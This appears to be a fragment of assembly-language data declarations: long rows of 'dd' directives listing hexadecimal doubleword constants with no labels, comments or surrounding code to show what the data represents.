		dd 0BD3BFFBAh, 36580BEh, 25216B7Eh, 0BE5AA567h,	715F3382h
		dd 53EA00FBh, 0DF6F6694h, 0C23DB525h, 0FD4A40BBh, 0C364951Dh
		dd 963BF0Fh, 61602099h,	1829C82Bh, 0AB2EC1BDh, 0B7B4E9D1h
		dd 2CBEFB66h, 0E0AB29E5h, 0D4EE4E1Ah, 7224A0Eh,	0CD5084B2h
		dd 5724B5B8h, 419F05A9h, 31B0175Fh, 2E82D825h, 17BDB921h
		dd 32F0319h, 0EAA2D9EAh, 0E0663FE9h, 0A79C3D4Bh, 0FA57A930h
		dd 1242A5F1h, 0B9F95DFEh, 0BDC28D90h, 92083309h, 0F3DD7020h
		dd 2D5D9D84h, 0E8DB29ABh, 0D69D120Ch, 0F600DC9Dh, 201DC5C9h
		dd 3793F75h, 1E6EBFAEh,	525D6692h, 1F31B84Bh, 9413495Fh
		dd 3D25EF41h, 8948E9C6h, 1625203Eh, 0F2086CB9h,	0FCE1849Fh
		dd 7FB81BADh, 2B911B00h, 0ACE899F5h, 0EB800B6Ch, 0EC89FC73h
		dd 3624FC51h, 0B1CA908h, 74CDD22Bh, 731960C0h, 0E6BA5179h
		dd 0BC87EC0Ch, 17996207h, 6BE09555h, 0A0095814h, 25A78EAh
		dd 4086346Eh, 9518F560h, 0D89CC46Ch, 93C5C69h, 0E9E61CB3h
		dd 17792FA0h, 702F45B5h, 0AF009AB8h, 0F92AE11Bh, 9033D8DCh
		dd 301D206Fh, 0F18AF84Bh, 6D9501C1h, 8A9E3B31h,	0F067180h
		dd 0C0016D2h, 1D4B467Ch, 13E32BFh, 952966B5h, 680E0211h
		dd 184DC0B7h, 88AB50h, 5C0CF6DBh, 2BBDA0F3h, 4B279497h
		dd 6F768h, 0B1717C0Dh, 583967F5h, 843FA1ADh, 0D3A75789h
		dd 0AAFC2881h, 4F432305h, 0C2F4FBC9h, 35F403BBh, 0B77528F2h
		dd 2F15ABB9h, 0D7812B31h, 14C187D3h, 6E2BE1FFh,	0F8F17BCDh
		dd 8B79A980h, 4F231813h, 29EE4884h, 4EB9C7Fh, 8967A265h
		dd 7E9C5508h, 6D270C69h, 28ABC0C5h, 0F812DE34h,	0E8E2C620h
		dd 6DA7A788h, 0E3F2C67Eh, 0A5A7E095h, 0CB129718h, 1002F341h
		dd 0B560DFB7h, 0FF072964h, 0EF0F59FDh, 31EB35C0h, 0CDED4DBDh
		dd 603E5F2Ch, 387B05F1h, 67360A01h, 6CF761A0h, 0B99055CEh
		dd 0F942A7D3h, 3112EB22h, 0B3C5459Dh, 7343F6F7h, 560C5F2h
		dd 6E955387h, 0D46094B3h, 22E85F03h, 0F8B06090h, 2CBB5061h
		dd 3DF1A9BDh, 2FDF0AF6h, 0A9F71C3Dh, 52F78364h,	3C98BB60h
		dd 0CD052045h, 5FDEC2F1h, 37686480h, 0CED32532h, 0D1C881C0h
		dd 6D314B25h, 0ECF7C0C8h, 16987654h, 4E2C4525h,	2DBF04B9h
		dd 82792271h, 805CDB6Dh, 0F9DA3F6Fh, 4DFE2BCEh,	0B7E3CF9Ah
		dd 0CBF8601Fh, 852D7C57h, 542DE25Dh, 37D5277Ah,	2888004Ch
		dd 9B71060Bh, 48CD8116h, 99B35F12h, 8BE3854Ah, 0F8892724h
		dd 31EE9F88h, 73FAF0C9h, 1FFFA582h, 3E1C8002h, 46BFBED6h
		dd 2984C404h, 0A4D2D58Dh, 43D66F89h, 84E0E861h,	0BD0426BBh
		dd 0F5974D01h, 9A4A898Ah, 0D618890Fh, 0E4AA401Bh, 8402973Ch
		dd 73DBB3ECh, 0FA0C4023h, 0B4F94A5Bh, 505AFBFCh, 0BBAD20FEh
		dd 0EB27E5C3h, 12E6722Bh, 0AC04B995h, 0DDE6B4D7h, 233955A0h
		dd 338B7E02h, 0F23151BDh, 7C2E25EDh, 5744DC59h,	0B80793E8h
		dd 1B2FDA67h, 0EB7FA509h, 0BF00BF91h, 514D5DD3h, 820C3E29h
		dd 0DCA80071h, 2B255D79h, 0D27DAB9h, 0B8125560h, 11406E5Ch
		dd 1CA64B2h, 59788360h,	79585F61h, 108B8B6h, 0B654AC30h
		dd 2E6DFC88h, 41959860h, 0CB3A9717h, 0B51CE4FBh, 900EBB6Ah
		dd 0D476BB66h, 0C88B0F85h, 0DC8A4461h, 4B68DCF0h, 2EBC9D09h
		dd 0B0853CDAh, 0B88FFD61h, 8A4B00C5h, 9D77416h,	2E4BA59Dh
		dd 8B3CB08Fh, 5AC6CACAh, 4FB67BAEh, 87F8EF24h, 0E92D0A20h
		dd 3D4A9021h, 0E267952Dh, 0BFBDE474h, 5EE03A29h, 1497B953h
		dd 95ED547Bh, 67EF2681h, 0AF661417h, 2730DAB3h,	72C74C51h
		dd 0E214951Ch, 138435BDh, 0D7E4FD6Ch, 0CBA029E6h, 787B7F3Fh
		dd 1D6E1B48h, 0FAEF18Dh, 2277D42h, 175CFC61h, 0E4ED574Bh
		dd 58EE4AC0h, 8DDA4B8Bh, 3A6E7EB3h, 0C2AF0C16h,	0B28AF170h
		dd 317E49DCh, 96B72419h, 0BE388FF9h, 6F3BBF81h,	6374F250h
		dd 73F90BDCh, 0EC0EF559h, 357B0A49h, 42DE90B2h,	3F87778h
		dd 40D99A95h, 9534093Ch, 0FC4BA56Eh, 9057AD8Ch,	0BBC4B73Fh
		dd 7A5002B7h, 25935CACh, 12503DF7h, 0A5C3CD1Eh,	4BF672C6h
		dd 59A88AFCh, 310CACE2h, 1C0E12Ch, 0A3DD2A20h, 1B958C01h
		dd 0FBA8742Eh, 7B87A620h, 0FFE80232h, 6AD59978h, 5ADEB656h
		dd 0D337BE5Fh, 7DF38134h, 0DF340514h, 6312C5A4h, 0B38DEA16h
		dd 40BF4EE9h, 927F5974h, 9F07881Fh, 806A31BFh, 0C07A2750h
		dd 0D58B16F6h, 5F54F00Dh, 69BC6A97h, 0EF5451E7h, 34953BCh
		dd 0E14DA74Bh, 0C87151F4h, 4BF65D08h, 0F6B8C22h, 21028931h
		dd 282EFE8Ah, 0C2E1366Dh, 708273D5h, 8B1C6E6Dh,	0E0F2B460h
		dd 61AFA321h, 2529BF29h, 0FC849638h, 5FDF8707h,	0D63D5679h
		dd 6011946h, 29CD6869h,	38F89E0Dh, 8997B06Ah, 0A7135B2Ch
		dd 8D427F4Dh, 5714578Bh, 9BD25F0h, 54795954h, 0F7EC0802h
		dd 5CE48F91h, 0E87D6930h, 0A98297h, 0E8CE7F25h,	12FC178Bh
		dd 0BB4ABF02h, 5CC04FBCh, 1475511Eh, 42D98609h,	0E9FE5496h
		dd 0B7D4F576h, 4F948DE8h, 8B1C082Dh, 4E6415h, 6446DF6Ah
		dd 2F2BA31Eh, 0E03B3506h, 207CF860h, 0EBB00FD5h, 5EB5C670h
		dd 5C9DDC92h, 0B5C4A0E7h, 4725D3FCh, 6AB5A5F4h,	0A21C6F17h
		dd 0F0E95971h, 4F2122Bh, 1D18A15Fh, 16C8C197h, 0CFEC0020h
		dd 0A7A07D2Eh, 0B61D4F02h, 688096A1h, 0D582AF4Bh, 0B454B5BEh
		dd 823F9BD4h, 0B5F9955Eh, 23400DF0h, 0B2E80ABBh, 19F640A0h
		dd 21501785h, 0AAFC3FB2h, 0EDF99D13h, 6EFA4FD8h, 776A00A2h
		dd 4DFD8B5Eh, 0DB8103BBh, 7DB8438Fh, 29605002h,	0AC1DF185h
		dd 2E2EECF1h, 0F41612CAh, 6E271309h, 0BC0570FCh, 60900785h
		dd 0CB5080BFh, 0F33BB22Ch, 15205F61h, 4095A82h,	0D91F29EFh
		dd 766EBA90h, 8A0F2B09h, 81D89798h, 8809EAF6h, 3D6A42C5h
		dd 9B7B015Ch, 0A5B3C4D3h, 9C35340h, 0E0B0880Fh,	9A95A8CCh
		dd 7771A0h, 936610CEh, 7E0198C9h, 2F0F9912h, 22BFC09h
		dd 0CB5BDADh, 4EDF9C7Fh, 0B0C3F777h, 1257AB4Ah,	6F026A5Fh
		dd 45680660h, 95A61A84h, 0BB9091C8h, 76591D07h,	8974504Bh
		dd 0E97712EFh, 0C8FFD234h, 0C93DC885h, 576A9637h, 80288CABh
		dd 58BDED17h, 0C2D09A0Fh, 62E961FAh, 58C45480h,	4382CA38h
		dd 0E2C8A24h, 0AC8D9DC5h, 0C58D4ACBh, 231B488h,	0B39D4025h
		dd 0F9F28B13h, 0BBDAD25Fh, 3E5E71E6h, 0FFDF0721h, 5DB1DCh
		dd 0A43AD8EDh, 3207A235h, 92D51C4Ah, 0FEB7BAFh,	834D3C1Ah
		dd 0BADA9407h, 2393569Ah, 5D14D82Bh, 6A259213h,	25195A4h
		dd 8317ADBBh, 0BC565F6Ch
		dd 6908A768h, 0EF6A1608h, 408075DBh, 0DD1DD011h, 1751723Fh
		dd 80B59D03h, 4E99CC30h, 8075DE30h, 9B19F89Dh, 0E1A509E9h
		dd 0D35BB10Ch, 885E8911h, 510178D1h, 70D90241h,	0AE0BA7Eh
		dd 0B0F2D76h, 5F91A27Dh, 17B87E66h, 881717B0h, 2500E805h
		dd 10EE7208h, 1048746h,	82BC40A2h, 2AFD8A5Fh, 0F4DB56D0h
		dd 315680D4h, 16958510h, 0CF6B5B25h, 0AC5301A2h, 0A660900h
		dd 25725F94h, 0D760456Bh, 9395FE8Bh, 0D35C1FB9h, 0A5D12E1Dh
		dd 0F8B7B540h, 51A48B95h, 47170167h, 0FC08D0F6h, 0F8016DD4h
		dd 7F9187C9h, 0AAD5FC9Ah, 0A33833Eh, 7EF2994Fh,	0DE81445Dh
		dd 2A60D18Bh, 0C6815F30h, 596F09C8h, 0DF07FC7Ch, 0F0908D5h
		dd 1DC5D780h, 251DBD84h, 7A341016h, 558D3104h, 1E28ED1Bh
		dd 0E54A0107h, 42D091Fh, 6227F95Eh, 0C6560D19h,	30524464h
		dd 375C303Eh, 86EDCB07h, 0A21E46A1h, 60C76813h,	0D61D115Dh
		dd 4D5C8F5h, 0F7BC8300h, 3AD99C61h, 84A40C2Bh, 602169E9h
		dd 3BAB605h, 57AA5195h,	4C37F3B4h, 0E2E52EF7h, 1FFF8D43h
		dd 0A9820F03h, 0DEB70088h, 50FEBB52h, 5F654812h, 34290FE2h
		dd 0CBD5BE95h, 2542A5FDh, 40C4FEFEh, 0F8B072A2h, 0EF85B200h
		dd 8131E475h, 5DE018Bh,	0A59F0E12h, 95766007h, 8012B5A4h
		dd 13E6C9C3h, 9244ED10h, 0DD8EDF9Ah, 0C1F97900h, 42EF052Bh
		dd 9EE6C5D4h, 0F77060BBh, 6D4102A2h, 0D30559E3h, 544C770Bh
		dd 9BB7BF07h, 5499BEB9h, 28D88F6h, 15E1DF92h, 0A36E3Fh
		dd 0E8D98AD4h, 729DD7ECh, 821D4B0Bh, 0B75DFCC0h, 63E00994h
		dd 61DD5C09h, 7E29B85Fh, 665FEBF8h, 0FA4E78F3h,	3800FD3Fh
		dd 2A0110BFh, 0B3258519h, 0A142CDA6h, 9BCF851h,	4B2DBD38h
		dd 88393A99h, 84950FB8h, 75EE0E31h, 825BDB27h, 5C857FC2h
		dd 37F5A769h, 0B7B1807Ch, 3A7EF057h, 8F5E1597h,	8A358D29h
		dd 0C1CB810Eh, 0B82E2B04h, 2B5EA222h, 4327141h,	15395D81h
		dd 9132127h, 6984BFB5h,	23B76BFFh, 0FFBC0414h, 0FE6EBAE1h
		dd 0DE65BF00h, 8A02E83Fh, 188ADD4Bh, 0A3AD1422h, 0FDF14EE2h
		dd 40898308h, 0B94AB866h, 3D10614Bh, 1BA11286h,	0F08D44E3h
		dd 0DC6F3E70h, 0A0D2C51Fh, 71087D25h, 5689C42Eh, 0CED61E04h
		dd 940400ACh, 0B828E5B1h, 16C9482Bh, 0ED911451h, 896A2091h
		dd 4562BC2h, 0DBFA5B53h, 9ED18093h, 4972854h, 0A9C94280h
		dd 0D89AA872h, 974707A0h, 0BC73073Ah, 21E00C51h, 8B260061h
		dd 73594925h, 0E33CBF90h, 501E761Fh, 616568B3h,	562001B4h
		dd 14D4B52Dh, 306300F6h, 3D341D71h, 0A5FC9C5h, 443FC8C9h
		dd 0A8F32171h, 5450A293h, 6C9B2F6Ah, 69080842h,	12D4EC14h
		dd 0A23D12B9h, 57D55FA6h, 1E1E0A86h, 0CE518605h, 58C3A6BEh
		dd 2B628961h, 80FC8A58h, 8CF8BF32h, 3B3E5203h, 92AD049Bh
		dd 16551914h, 0CE6D9F13h, 0F9CE8A41h, 0C88CDA7Fh, 0FA22C01Dh
		dd 0DC00FF6Ch, 19CDD826h, 0E9E780E6h, 0B997B128h, 44EB8F4h
		dd 52BF6A26h, 0A2F7EBE9h, 73FEA0D2h, 60F2EFBFh,	0F40AC68Ch
		dd 6AC83A4Ah, 417C007Dh, 0AF115987h, 49BFBD29h,	172E5BC2h
		dd 0ECF0ADAFh, 0E0480972h, 0BD71DE20h, 25C378AFh, 0BFC2CA7Ch
		dd 31E5BDDh, 0E392DB24h, 0FB8B54E7h, 0A4890AA4h, 39FA0013h
		dd 8F680B3Ah, 1648A0Fh,	0F999FC19h, 4A4BAD3Bh, 0E58981E7h
		dd 0DB203EDCh, 0CEB3464Fh, 69B9E80Fh, 981E4B00h, 8E0093BDh
		dd 30F667DCh, 9043CD8Ah, 0A2514BAFh, 36BC0040h,	84952B71h
		dd 4CE50B6Ah, 47615B5Eh, 0AB47861h, 0E8B5FFFCh,	1646D4h
		dd 68F63EBCh, 12DCFD5Dh, 0C88E0F8Ah, 9DF85Fh, 4206A229h
		dd 7F769D75h, 5552024Bh, 0FC94551Fh, 0B7719D2Ah, 26B1DE9Dh
		dd 102F263Dh, 0D281011Dh, 5869C5B0h, 1FD987Fh, 27398537h
		dd 45D760D9h, 0F3969565h, 0EB411EB6h, 0DEC42DA2h, 0A9430FF7h
		dd 0E5C06324h, 0E30F1DBAh, 9D579495h, 6D2505D6h, 53E4C263h
		dd 848D8EF5h, 38B48531h, 41E9385Fh, 25FC7A5Bh, 0AF8D5E47h
		dd 1A4B0550h, 89E8288Eh, 243D8D16h, 80AC9EBEh, 49B85E92h
		dd 0A0CC4B76h, 50822FFCh, 4E949563h, 90042120h,	2C5D253Ah
		dd 71CFC359h, 5F91AA40h, 236A6F0Ah, 0C629001Ch,	47BAC7CDh
		dd 8D62A317h, 0EE7A0D05h, 0A11704AEh, 0D35EB9F6h, 5B8000DAh
		dd 0DAEDEF2h, 374E5504h, 0E1EE8D09h, 576B2B34h,	0F8001423h
		dd 39BE60BFh, 0B18FA041h, 5E56821Fh, 71C46D6h, 45E838F9h
		dd 0AD9E68C0h, 0CCE2B543h, 0E6CE9200h, 0FA788A50h, 0FE49FBB6h
		dd 0D5307A5Eh, 1A971BB7h, 0A36C137h, 826DA914h,	0B2C3FBBBh
		dd 8ECB2291h, 0F2BA5570h, 35EB355Fh, 3E29FE44h,	6DA00176h
		dd 5A01F135h, 43232CA6h, 206A39B5h, 5F292F7Dh, 347BB100h
		dd 10E73F03h, 0C2A40159h, 1DEB0C53h, 2C51E9B6h,	2260CEEAh
		dd 55F5D8B5h, 49C35807h, 4C947B70h, 34D100DCh, 0FE2F2E91h
		dd 951789F5h, 51FD0E75h, 0A8E7FD93h, 941210FBh,	256910A7h
		dd 12C2CF40h, 0E349CF47h, 800F16A9h, 0D5FA4932h, 1A9126B5h
		dd 0E00DFB80h, 222C137Fh, 210858F6h, 13122833h,	0B9FF8EE7h
		dd 0C20525ADh, 21957F63h, 64FBF744h, 26CBB354h,	68265450h
		dd 0ACE449h, 8953158Bh,	0A7D01BE0h, 0D2837216h,	0CE8FF53h
		dd 29659307h, 91623B8Dh, 7F0FB27Fh, 0D535C7BAh,	77729382h
		dd 0CD01D776h, 2EB57BBFh, 8A3FAD28h, 1FFA05D5h,	8B1021F2h
		dd 1E1A5ED9h, 0DC22F4B8h, 57A4BF2Fh, 54CDB390h,	9903A5F8h
		dd 0FE046378h, 0A7FB5BB4h, 0B962B1F4h, 2D0238CCh, 5C80736Ah
		dd 0E3D98194h, 63FE7100h, 2DB53161h, 0BE16970Bh, 9EAB5BDh
		dd 137B3B13h, 0C2880F0Ah, 79406045h, 0BF2E61D9h, 7AA0576h
		dd 82E2A1CAh, 65F65192h, 0AFDD53A5h, 0D804D135h, 0DE4013E8h
		dd 0B45283F2h, 801CAB3Eh, 3BFC8E73h, 0E230749h,	0AAA640ECh
		dd 44F9BDAAh, 0A2D3B85Fh, 18FF1240h, 88118A31h,	5A005E8h
		dd 8E27F69Dh, 40A7D029h, 79B05B0Dh, 272CB55Dh, 2D7F7BC6h
		dd 240F2366h, 0C0C07615h, 5F16F73Bh, 0CCF41F84h, 8B4BBD80h
		dd 0B5291E9Eh, 2A3F68AFh, 43DCB7F3h, 1F8200DEh,	0FD59EBF8h
		dd 0E3BC860Fh, 0BC258444h, 71F8D2C7h, 0B6C15B72h, 4B6DE00Bh
		dd 7DBD2A33h, 2F95E6B7h, 325D08CDh, 20EB6A38h, 0DD8A90BCh
		dd 0C5BF0550h, 0BE261AB7h, 0E1E0DEF6h, 8071D5Dh, 87BA075Ah
		dd 9DE45Bh, 0DA7B2FD1h,	0D7D37CA7h, 0CA6EAA00h,	877283D2h
		dd 1E3FF9B0h, 5F263F37h, 77F44BB4h, 9AADF596h, 0F28D8E8h
		dd 80131A83h, 5A0516DFh, 8A02F3F9h, 0D612DAC8h,	3303DE2Bh
		dd 74A0B4D1h, 0C42E4A80h, 0E1C7F6DBh, 826BAE99h, 0F060D117h
		dd 37B72404h, 2772FD7h,	54FB8BF8h, 548356Ah, 0A41D25CBh
		dd 0B993994h, 0B5F49A26h, 0A704E6D6h, 24A81B67h, 56251420h
		dd 0A7B25B5Fh, 5D17B635h, 200722h, 7F99D2Bh, 0BFB36E95h
		dd 2AC525EDh, 0FF54F0FFh, 9ADBD14Bh, 56982789h,	8FE0A32Dh
		dd 8A1CDD44h, 461E2D71h, 3BAD0939h, 445379B8h, 19233FBEh
		dd 1B72AF00h, 0A0F0885Ah, 0B5144D94h, 3394E366h, 0A3D900D4h
		dd 5C7ADB0Ch, 5D9E25E1h, 0C5B4F440h, 0F54100DAh, 5DA0D377h
		dd 7E0139C6h, 6EC042C1h, 346F5760h, 9E7F89Ch, 5C53A6D0h
		dd 0BE90828h, 0FD111780h, 23F4A8Bh, 0D62118A4h,	0C94D900Fh
		dd 0B66D52E0h, 0A3F54F37h, 9D330418h, 0AFBC2429h, 0FEBF0FA0h
		dd 259E7A97h, 9AE730E9h, 1417D213h, 2DBCA5B9h, 0E4F58725h
		dd 0EDD90075h, 519D659Ch
		dd 7027ACCh, 0AA0AF49Ah, 131374A3h, 0E89FBD33h,	0EB0D129Ch
		dd 0D6A9B95Ch, 22007E6Bh, 14ADA95Ah, 6E2CA19Eh,	50895290h
		dd 1DA38753h, 0F6FB5FF4h, 60AFE518h, 0F8680ED9h, 8D89600Bh
		dd 616125D9h, 84EB8713h, 946EAB48h, 29131423h, 8009CB2h
		dd 0F8CDB179h, 0CE9513A9h, 2F19F799h, 200FD6Eh,	6088CD41h
		dd 0C0148053h, 31A15816h, 3A9DBF8h, 23063F3Ah, 0ABDE1214h
		dd 10794D0Eh, 98CF8009h, 0E612D97Bh, 40E1C588h,	8B92B023h
		dd 9304920h, 0C78070E6h, 72AC09F7h, 3BC960A9h, 0D34DDF81h
		dd 0E8500825h, 0B7219DA2h, 0BAF8B882h, 0FEB768E6h, 155962EFh
		dd 0D381C120h, 4B32E4A4h, 82AEC43Bh, 0F1292955h, 48F800A8h
		dd 0F5D83EC6h, 58A0A802h, 5EFCDD04h, 0EF8181A9h, 618CE64Bh
		dd 0D18C813Fh, 0B0F317BFh, 336EF097h, 85F9DFA8h, 0B9495301h
		dd 8E86F34Bh, 77A49506h, 0C882BC20h, 46E98B12h,	0E280D85Bh
		dd 5C8DDC7Ch, 4EC02562h, 76C950E6h, 114379FBh, 0FA845F27h
		dd 909840B9h, 0B1831BADh, 292F0195h, 0E1E1EBF4h, 498A2B23h
		dd 0F854AB10h, 0DA098C14h, 0D9D9BD2Bh, 958E3216h, 0AA5083A5h
		dd 4C58304h, 61543117h,	77F72F5Bh, 80DFDA5Bh, 77271214h
		dd 0B9281295h, 2E3CF1FEh, 779DDA98h, 2BC4B5F1h,	0DD400D9Eh
		dd 1311894h, 0B9D6D36Dh, 0E85FA69Fh, 0A425F780h, 5A137FCh
		dd 0BFB85260h, 0A77D4532h, 0D60BBA88h, 2702F6E5h, 58B2FD6Eh
		dd 1288DE86h, 0AB55B822h, 0ED001D23h, 6E6F8FA2h, 950FA75h
		dd 0F88A7426h, 0FAC3494Dh, 41AC1051h, 75455021h, 41D91B4Bh
		dd 0F5C9353Ch, 0F6B5027Ah, 5E00DE15h, 558B766Eh, 56F28FCh
		dd 0EDBD8921h, 0B721BE2Dh, 8B6B589Eh, 0DFB7865Fh, 0A149707h
		dd 7AAEB64Fh, 9EC0009Fh, 0B34FB6B5h, 493C9032h,	0A65A1EF0h
		dd 7F940100h, 61AC4BA7h, 1C9996CCh, 4A8DBFCBh, 12B039E3h
		dd 0AB0485F1h, 1C236C6Bh, 34AB4C00h, 1FF8F3h, 606CDA9Eh
		dd 0FE90E081h, 61134412h, 87075CA2h, 0E0513943h, 628975F2h
		dd 5C556B00h, 0E9D90D6Ah, 0F70709BFh, 0F7051A2Dh, 0BE6EAFE1h
		dd 4BDE5900h, 0CBA69315h, 62CAF54Bh, 63A46D21h,	9F048D6h
		dd 4C34DF09h, 5A455179h, 4112F3E2h, 8433F30Dh, 9EBA0411h
		dd 0FE4F8054h, 4CF83BEDh, 6E5F9B97h, 17F20BBAh,	42CFD7DDh
		dd 0E7AF7145h, 72FC25A9h, 4B91F08Ch, 587D2FDh, 0AF695129h
		dd 5CF79255h, 0BB906464h, 0E5F7EA01h, 9ED4505Fh, 0B532F640h
		dd 30C95B82h, 0D02AD371h, 0E50CDE25h, 0FA8B0917h, 5DFEDB07h
		dd 51202BC3h, 9513DA8h,	50CB1C6Ch, 94564580h, 8B709A9Bh
		dd 0D8A021BDh, 1E2C310Fh, 0E1F48780h, 2801A8CDh, 0FFF1C0ABh
		dd 0CC735ACBh, 5096204Fh, 0D27C059Eh, 5A302602h, 5158119Fh
		dd 547100CAh, 8141EEA5h, 505C3B00h, 6370144Fh, 407E967Ch
		dd 0E08D3844h, 8720FF0Fh, 83B6804Eh, 12775676h,	0FF70B07Ah
		dd 459A071h, 0F23BB62Ah, 0DC763015h, 0A7337792h, 8502DADAh
		dd 0E039B6FBh, 9E89D12h, 0A701D770h, 91C1B57Fh,	0F5F38217h
		dd 2062F0D1h, 0F1B1029h, 0FC270180h, 0E74EFCB8h, 39EBB046h
		dd 0B9E269h, 0CE9B2838h, 34E9B529h, 95C3CE95h, 2050C065h
		dd 49EA0F53h, 6BA5A9B0h, 482D956h, 129CF8D6h, 0A460CF97h
		dd 4BA59D01h, 9794FD1Ah, 0D9A02EB6h, 10BDC838h,	4CDBB7h
		dd 0A5A8203Ah, 6C6AB5FAh, 0C4898F00h, 0BDC79601h, 0E05E4FB8h
		dd 5034DA52h, 17FA0A51h, 0F4B4F67Fh, 0E459C81h,	80C29D2Bh
		dd 6568F95Ah, 51A4396h,	0B47751BBh, 1003AE1Fh, 0E45C959Ah
		dd 0A1B879B9h, 0BA20DC0Ah, 0EA2FA68Ah, 12A45CC6h, 81A32A8Dh
		dd 880F387Ah, 5A624C23h, 0D1DD50F8h, 8439249Fh,	0C1E0A0BBh
		dd 6FDF8B3Ah, 0F6EA7625h, 3E8EE068h, 1BD10450h,	0AF7631F3h
		dd 6BAB98C4h, 1623A2h, 29F76793h, 254E659Dh, 0AF0036B7h
		dd 6A645213h, 0F99770C5h, 2576E983h, 0CBF3A1D4h, 4BCDB9F4h
		dd 38B28AF0h, 0B7BD7065h, 998B80BDh, 20B77436h,	77824F5Bh
		dd 53E90324h, 0C4DEEB84h, 0D98AE183h, 0CE495226h, 0EDE86092h
		dd 55A429CFh, 1D1F5616h, 0AC614AE0h, 0DA93EEC5h, 53D6801Bh
		dd 133109C0h, 0AD1F6DBDh, 692D80FAh, 57DC5h, 4B7BEE7Fh
		dd 8D890930h, 0AC194D2Eh, 4A6B8570h, 80C9DE04h,	3CA4E3E2h
		dd 2AD13D7h, 8423A801h,	378B5B57h, 6B6F3434h, 8047077Fh
		dd 0D3F02A92h, 5A5F2736h, 0B237B63Ah, 5DC1301Bh, 2E6F6BDh
		dd 0DE8B61DBh, 24A104E0h, 6B48519Dh, 861FB0B5h,	727BC7C1h
		dd 42F8E0Fh, 0E332DF68h, 0A9184FA4h, 4BC78067h,	0FC82CDDCh
		dd 234B859Dh, 7F20F2DDh, 96BA2EFAh, 0B104607Fh,	4F007192h
		dd 0F05386AFh, 7676DF5Ah, 0DB34128Ah, 0FC35EFC2h, 8950B2FBh
		dd 85300496h, 0B11B23E1h, 72C51488h, 74AE4695h,	686AEB11h
		dd 0DF2A9701h, 7BADDD06h, 0D693B111h, 0FD4B36E8h, 4EB8D239h
		dd 0D9522DAAh, 9D03879Dh, 822F98F5h, 7085D58Ah,	586F9FB2h
		dd 2FA93C60h, 11391283h, 26FFF18Fh, 5EA6F29Fh, 145625F3h
		dd 4BD6DEE8h, 60DCCD1Ch, 4225E4A6h, 78C8DB6Ah, 9F133896h
		dd 2AABD92Fh, 3F48816Bh, 9D7FA6D2h, 55E97F23h, 227BBACh
		dd 68F676BEh, 0C9C71EEEh, 935E50AFh, 0CE99CD49h, 0CB2FA160h
		dd 613BEE85h, 96134BB5h, 36A868B2h, 0F08AD500h,	0CFE5FF8Bh
		dd 0DB811D01h, 511D0914h, 40EC9555h, 0CFFDEDA0h, 8012ABB8h
		dd 0E4E208DBh, 0CB883B00h, 1D41B2DCh, 6A9B4407h, 0A620B552h
		dd 4E55F054h, 223B8AD3h, 95290813h, 8AAE0A65h, 0BC80B222h
		dd 19F04392h, 0FC4B91ACh, 0F33DDDDDh, 55D16BA9h, 302A8AC8h
		dd 95B50140h, 17E9204Ah, 84627880h, 4D252BC9h, 598CF329h
		dd 267D1816h, 6ED76CD2h, 4FCB89C0h, 6500BBD9h, 1F9ECAC2h
		dd 13410924h, 0A385A48Ah, 4E893B0Fh, 8A4BB6B9h,	7C6625DAh
		dd 0E109F669h, 29DB7A6h, 5E389A85h, 6C3366FDh, 0E6E185D2h
		dd 0C2F08536h, 3D0BC087h, 0F0B0CDF9h, 190241FAh, 157730C5h
		dd 9EF3254Ah, 5E21A2D6h, 1FB7BDE0h, 5B302Dh, 25135865h
		dd 193C5FC1h, 4221A7A0h, 27E04C0Fh, 49FA8D09h, 143D5895h
		dd 0B10B0DBDh, 0BD241584h, 63E0D7C8h, 9591E650h, 0E58D5EE8h
		dd 0CE6B1F42h, 0D56042DDh, 9F015FBDh, 424665B7h, 0EAA37E82h
		dd 37D50612h, 88F60062h, 0E2820ABCh, 565F851Ch,	3D35EC73h
		dd 0C34B5BE1h, 0D885B787h, 0E8008F0Bh, 137C6732h, 69A6B369h
		dd 23B7F76Bh, 1A6997h, 0EC8B5D3Ch, 0E57547F7h, 0D628201Dh
		dd 0EC0052CBh, 17CA55E1h, 900997E5h, 0EE2A5E1Bh, 0C3BCD265h
		dd 0E0468D4Bh, 0D14FFFB8h, 0DE8408DBh, 2EBAE067h, 1266E795h
		dd 0C0D9DE86h, 0C0EE229Bh, 0E07E5FDAh, 34A8DAFh, 1AFCF7ACh
		dd 18E4018Ch, 1DB53F61h, 0CB6C6010h, 0BFDFAD01h, 4E0F166Eh
		dd 2D89E83Fh, 91985DD3h, 94228FB8h, 556C9D61h, 2C4DBD10h
		dd 905A667h, 988014D5h,	11F02446h, 0E20F122Eh, 9ADC9DBh
		dd 787F5B72h, 9B016299h, 0BFB39098h, 0F902F5E5h, 0B7E00ECDh
		dd 2EE72A8Fh, 976D715h,	0D17342DCh, 2D6A1A6h, 0FEBAACAEh
		dd 8DD4892h, 0EDAFA7A9h, 8AEFC133h, 0D5B62AFCh,	0F03019E2h
		dd 0ED0D0936h, 0C08B2548h, 48EC5F7h, 57AD8D01h,	0B9D219B8h
		dd 8C16B8CBh, 4A8EEF38h, 9D10BEF6h, 1232D41Dh, 44D1156Dh
		dd 53FA1AA1h, 648A7818h, 0E2D12225h, 0CFC05690h, 50270188h
		dd 4FB41C69h, 859031B0h, 70E60130h, 17D90A20h, 3471E473h
		dd 420B812h, 98D2F13Dh
		dd 319820FEh, 0BB0C85C6h, 5AF9C441h, 0F6C11CE7h, 89792558h
		dd 56ECE513h, 0E056FDDAh, 0B50B6001h, 15920C79h, 0BA4D908Ah
		dd 0A4128CD0h, 0ECE2616Bh, 1212B316h, 6FDCB168h, 0FAC971BCh
		dd 0E28CCC70h, 0EC82B25h, 0F1D14943h, 0BF05BBC2h, 0B97E9FBh
		dd 884FE20h, 0C0FFFD04h, 0CC0308Ch, 80530BC6h, 2B10E5CFh
		dd 315B5607h, 5CCB4E27h, 0A975472Ch, 90C024D4h,	0DA72BCh
		dd 8F30A108h, 0C515D8Dh, 2F588109h, 44F97278h, 8D58BB1Bh
		dd 0E9460BF1h, 0E0205444h, 646F6506h, 0BD72B100h, 137EFBF5h
		dd 52EC9533h, 638C864Bh, 0E61E5A69h, 218225Dh, 0EB2ADF81h
		dd 0E5E09DAh, 0B833FEEBh, 0A9FC984Bh, 0B7126425h, 1179FBBh
		dd 0E92EF8F7h, 7B832179h, 6A25BDA8h, 0AF78255Bh, 0BD031FA8h
		dd 86FE2799h, 802093DEh, 0E4FD8098h, 9257C39h, 89A55CBDh
		dd 0FF5E870Fh, 0EDB9FB60h, 0EE4F9510h, 0FC40E240h, 81EE02E5h
		dd 0C0F468AAh, 0ED25375Eh, 0F852C4C9h, 9DB80F9h, 980CC40Eh
